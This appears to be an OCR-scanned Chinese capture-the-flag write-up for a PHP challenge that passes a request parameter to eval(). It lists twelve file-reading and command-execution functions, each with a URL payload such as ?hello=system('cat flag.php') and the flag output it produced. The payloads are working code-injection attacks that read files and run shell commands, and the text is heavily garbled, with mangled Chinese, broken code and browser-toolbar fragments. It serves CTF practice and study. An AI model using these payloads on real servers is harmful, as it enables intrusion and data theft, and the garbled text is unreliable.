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e fread

o fgets

e fgetss

e file

¢ readfile

e file_get contents

e show_source

S RJR: https:/Mmww.jb51.net/article/53266.htm

(=) F A Linuxi B4 1 28 £

e system

® exec

e shell_exec
e passthru

e popen

SEP/:  https://bbs.ichungiu.com/forum.php?mod=viewthread&tid=45706

1.fread: string fread (int $handle , int $length)

fread() M handle #&T7 BI3CfF AP EUR 2 length 75, IZEBTE RIS R E length 7174, BREIIA EOF KRR, 2 O F
M) H— MR, S ETTRAZERZE) CERT 8192 Ml i b B, M9 Seml )M &L

fread() i& [E Frit BXA) 747 8, R 48R 8] FALSE.
payload: ?hello=fread(fopen("flag.php","r"),100)

striné(83)] Iphp

include "flag.php™;

$a = @$_REQUEST['hello"];
eval( "var_dump($a);");
show_source(_FILE );
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(g Load URL http:f/607bo452188&470380d6dt454bed097f309874baecb6409B.Changame.ichunqiu.coml?hello=fread(fopen("ﬂag.php”,”r”)ﬂOO)\ I
yb\ Split URL
E
) Brecite [ Postdata [ Referer [] User Agent [] Cookies Clear All
Fia

string(83) “<Pphp
$filag = "Too Young Too Simple’;
#flag {9c3r6897-d9b5—4df7-bde2-c8574fclcfh9) ;

<{code>{span style="color: #000000">

{span style="color: #0000BB">&1t;?php<br /><{/span>{span style="color: #007700">include&nbsp:</span>{span style=

{/span>
{/code>
2. fgets -----—-- BEEflag R, BRI AR B 34T °F 2 45 AR EL

string fgets (int $handle [, int $length])

“color:
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fgets()M handle $& A 893 i B —47 HR B K E & £ N length - 1 FH TP/ H . REBBATH (RIEEREES) . EOF B
BELIEIT length-1 FHEEIE (BAMBIF—MER) . WEBAEEE length, WERIHN 1K, BiE ¥ 1024 FF.

payload: ?hello=fgets(fopen("flag.php","r"),100)

string(6) "wZphp
include "flag.php=
$a = @$ REQUEST['hello'];

eval( "var_dump($a);");
show_source(_FILE_);
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@ Load URL http://607bc452188e47c380d6df454bed097fa09874babeb64098.changame.ichungiu.com/?hello=fgets| fopen(“fiag.php”,"r"), 100)
yu‘ Split URL

Execut
Y Brecule [ Postdata [ Referer [ User Agent [ Cookies Clear All
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3. fgetss - BEUflagiR M, BRI ARE B HATRF £ 45 RIS EL
string fgetss (resource $handle [, int $length [, string $allowable_tags ]])

ERifgetsThae—#¢, {HRfgetss =R MIRENHI A £ 4L HTML 1 PHP #5ic, 7T DA AT 58 = A2 Hdi @ MR L pn e A gk
L.

payload: ?hello=fgetss(fopen("flag.php","r"),100)

string(0)
include “flag.php ;
$a = @$_REQUEST[ hello’ ];
eval ( “var dump($a);”):

XEBEREEENFEIONFR, BREAphpirEtHiEiET
show_source( FILE );
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@ Load URL hitp://607bcA52188e47c38cd6(454bed0971a0987 4babeb64098.changame. ichungiu.com/?hello=fgetss(fopen("flag.php”,"r"),100)
gg Split URL

E
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4. file

array file ( string $filename [, int $use_include path [, resource $context]])
B AFEAN— NS, BHNE T RS —17, BRFBRITRHEN . ARETSERFE AT LUEA rtrim() R%0ud 38
BATFF



payload: ?hello=file("flag.php")

array(3) { [0]=> string(6) " string(32) "$flag = 'Too Young Too Simple’; " [2]=> string(45) "#flag{9c3f6897-d9b5-4df7-b4e2-c8574fc1cf59}; "
} <?php

include ”“flag.php”;

$a = @$_REQUEST[ hello ];

eval ( “var dump($a);”);

show_source(_ FILE );
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g Load URL http//607bc452188e47c38cd6df454bed097fa09874babcb64098.changame.ichungiu.com/?hello=file("flag.php")
4§ split URL

Exectt
[ Postdata [J Referer [J User Agent [] Cookies Clear All

5. readfile

int readfile ( string $filename [, bool $use_include_path [, resource $context ]| )
AN HHBEANBFEHE. BREINCHEFEANZT . BB E FALSE 3 HERIER UL @readfile() XA, &
< BREEiRER.

payload : ?hello=readfile("flag.php")

<?php
include "flag.php™; ST e
$a = @$_REQUEST['hello’); HREEEFRBHTLIEElagT

eval( "var_dump($a);");
show_source(_FILE );
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@ Load URL http://607bc452188e47¢38cd6df454bed097fa09874babeb64098.changame.ichungiu.com/?hello=readfile("flag.php")
gg Split URL

») Execute

[ Postdata [ Referer [] User Agent [] Cookies Clear All
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6. file_get_contents
string file_get contents ( string $filename [, bool $use_include_path [, resource $context [, int $offset [, int

mazlen)||| ) SCHIBRN—NEHFE . F=ANSHcontext T AR EE —SSH, Wy REEscrr, REBENES.

payload : ?hello=file_get_contents("flag.php")

string(83) " <?php

include "flag.php";

$a = @$_REQUEST['hello]; 5 2=
eval( "var dump($a):"); oREEREHMILIEElag
show_source(_FILE_);
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4 Load URL http://a14cd2187acf4b50979b2dd44a777860fc60c7 ebefc14236.changame.ichungiu.com/?hello=file_get_contents("flag.php")
;}g Split URL
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7.show_source



show_source() E¥% AT highlight_file() %, "IK—A> PHP A SCHEEE .

payload : ?hello=show_source("flag.php")

{?php

$flag = ’'Too Young Too Simple’ ;

#flag {6144d6b5-F3f2-45ad-9f78-69aacal 1635f} ;
bool(true) <?php

include “flag.php”;

$a = @$_REQUEST[ hello’];

eval ( “var_dump($a);”);
show_source (_ FILE_ )
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i Load URL http://a14cd2187acf4b50979b2dd44a7778601c60c7 ebefc14236.changame.ichungiu.com/?hello=show_source("flag.php")
——————— e

g@ Split URL
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8. system

system() REH THATHNERFERF, BHBATE R, HREGSRIEE—1T.

payload: ?hello=system("cat flag.php")

<?php
include "flag.php";
$a = @$_REQUEST['hello'];

ook var o GREE RIS lag

show _source(_ FILE );
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g@ Split URL
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9. exec

exec() BB THIT—MMERIER, HREIZERMEE—17.
payload: ?hello=exec("cat flag.php")

string(44) "#flag{6144d6b5-f3f2-45ad-9f78-69aacal1635f}" <?php
include “flag. php . —

$a = @$ REQUEST[ hello’]:

eval ( “var dump($a):;”);

show source( FILE );

@ HackBar

R O=mz Oeae OEtE NRE QatsEs Qum Onr Der F dEErs 3 UEes @ Hacksar

Encryption ~ Encoding~ SQL ~ XSS~ Other ~

g8 Load URL http://a14cd2187acf4b50979b2dd44a777860fc60c7ebefc14236.changame.ichungiu.com/?hello=exec("cat flag.php")

gg Split URL

Executs
[] Postdata [] Referer [] User Agent [ Cookies Clear All
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10. shell_exec
shell_exec() B#(F@d shell REHAT a4, FREFARITER, ARBGESPATEEFHEE.
payload: ?hello=shell_exec("cat flag.php")

string(83) " <?php

include "flag.php";

$a = @$_REQUEST'hello’]; AHEEEREHALIESlagT
eval( "var_dump($a);");

show_source(_FILE_);
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i Load URL http://a14cd2187acf4b50979b2dd44a777860fc60c7 ebefc14236.changame.ichungiu.com/?hello=shell_exec("cat flag.php")
U split URL
b Y
») Execute

[ Postdata [ Referer [ User Agent [] Cookies Clear All
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11. passthru()
passthru() R THATAMR R, R REHATER, BAEREE.
payload: ?hello=passthru("cat flag.php")
<?php
include "flag.php";
$a = @$_REQUEST['hello’];
eval( "var_dump($a);"); N
show source(_FILE_); aREEREH LIS flag
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§ split URL y
b Bxecue [ Postdata [ Referer [ User Agent [] Gookies Clear All
CSDN @& ~ B LR

12. popen()

popen() & ¥ T2 18 [ A S $ATHERRR SCHE ARG, 5 fopen() REERMIL, H&/EHKEIT fread() BB S BATHISE B .
payload: ?hello=fread(popen("cat flag.php","r"),100)

string(83) " <?php

include "flag.php”;

$a = @$_REQUEST['hello'];

eval( "var_dump($a);");

show source(_FILE_); aREFREAEHLERlagT
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i@ Load URL http://a14cd2187acf4b50979b2dd44a777860fc60c7ebefc14236.changame.ichungiu.com/
& Split URL
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